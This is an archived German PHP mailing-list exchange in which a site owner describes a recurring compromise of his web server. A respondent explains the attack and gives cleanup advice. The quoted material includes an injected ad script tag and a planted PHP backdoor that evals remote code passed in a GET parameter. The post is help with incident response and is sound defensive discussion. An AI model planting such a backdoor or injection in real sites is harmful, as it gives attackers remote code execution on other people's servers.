Mailinglisten-Archive |
Hallo Harald, Am Montag, 22. Januar 2007 17:26 schrieb ANGEL Harald: > Hallo phpListe! > Ich schreibe heute wegen eines ernsten Problems: > Ich habe seit einer Woche einen Hacker auf meinem Webserver, aber > mein Provider findet leider nicht heraus, wie er ins System kommt bzw > kann mir den Webserver nicht sicher machen. hattest Du nicht schon früher mal diverse Probleme mit diesem Provider? Da wußten die doch auch nicht weiter, oder verwechsele ich da was? Wenn ich nichts verwechsele, solltest Du endlich mal den Provider wechseln. :-) > Was der Hacker macht? Er > fügt in meine Startseite eine Layerwerbung ein: <script > src="http://layer-ads.de/la-33101.js" > type="text/javascript"></script> durch die verdient er Geld - was > einerseits schon mal eine Frechheit ist, andererseits bleibt dadurch > der aufbau meiner Website stehen. > > Die Datei hat nach dem ändern den User www-data, und wenn ich die > Zeile rauslösche ist sie nach 5min wieder drin :( Hab jetzt schon > rausgefunden, dass er meine komplette Seite mit seiner ersetz. Wie er > das macht, keine Ahnung. Ausschließen kann ich, dass er root Zugriff > auf den Server hat. Dazu braucht man auch keine root-Rechte. Um Deine Dateien zu manipulieren, reichen doch Deine Rechte. :-) Es könnte es Cronjob oder ähnliches sein, der in Minutenabständen prüft, ob seine Änderungen noch online sind. Wenn nicht sorgt das Skript wieder dafür. > Hab in einem anderen Script folgendes gefunden: > //a:9:{s:4:"lang";s:2:"en";s:9:"auth_pass";s:32:"d41d8cd98f00b204e980 >0998ecf8427e";s:8:"quota_mb";i:0;s:17: > "upload_ext_filter";a:0:{}s:19:"download_ext_filter";a:0:{}s:15:"erro >r_reporting";s:0:"";s:7:"fm_root";s:0:""; > s:17:"cookie_cache_time";i:1171902116;s:7:"version";s:5:"0.9.3";} Sieht serialisiert aus. Mußt Du mal umwandeln. Sieht aber grundsätzlich nach einem Array mit Parametern und PHP-Einstellungen aus. > if(!empty($_GET['url']))eval(str_replace(Array('<?php', '<?', '?>') > ,Array('','','') ,implode('', file(stripslashes($_GET['url']))))); } > hab leider keine ahnung, was das macht, auf jeden Fall ist es nicht Das ist schlecht, daß Du das nicht weißt. Da wird eine beliebige URL per GET an das Skript übergeben und über file() von einem fremden Server in Dein PHP-Skript eingebunden und der enthaltene PHP-Code in Deinem Skript ausgeführt. Das ist möglich, weil bei Dir wohl allow_url_fopen auf ON steht... > von mir. Habe vom Provider den Befehl "eval" sperren lassen, aber das > funktioniert anscheinend nicht. Er hat in die php.ini folgendes > eingetragen: > disable_functions = show_source, system, shell_exec, passthru, exec, > phpinfo, eval, proc_open, escapeshellcmd > nur leider funktioniert der Befehl eval noch immer. Was steht denn in der phpinfo() als master value und local value? > erste Frage: Was hats da mit dem eval? Kann man den nicht sperren? Siehe oben. > Wenn doch: Wie? zweite Frage: Habt Ihr einen Tipp wie ich den Typen > los werde? Wenn ausgeschlossen werden kann, daß der Angreifer root-Rechte hatte, wäre es zunächst ausreichend, Deine Website komplett neu aufzusetzen, d.h. alles löschen und von einer sauberen Kopie aus wieder herstellen. Ebenso Passwörter etc. ändern. Solange Du allerdings nicht weiß, wie der Angreifer Deinen Benutzer kompromittieren konnte, kann es Dir danach jederzeit sofort wieder passieren. Angenommen, die ausgenutzte Sicherheitslücke ist in Deiner Programmierung versteckt und Du schließt sie nicht, kann der Angreifer sie ja jederzeit einfach wieder nutzen. Dann geht das Ganze von vorne los. Es wäre also enorm wichtig, genau festzustellen, wie der Einbruch erfolgt ist. Dazu mußt Du mit Deinem Provider zusammen die Logs auswerten. Wenn Du Glück hast, hat der Angreifer nicht alle Spuren verwischt. Viele Grüße Lutz
php::bar PHP Wiki - Listenarchive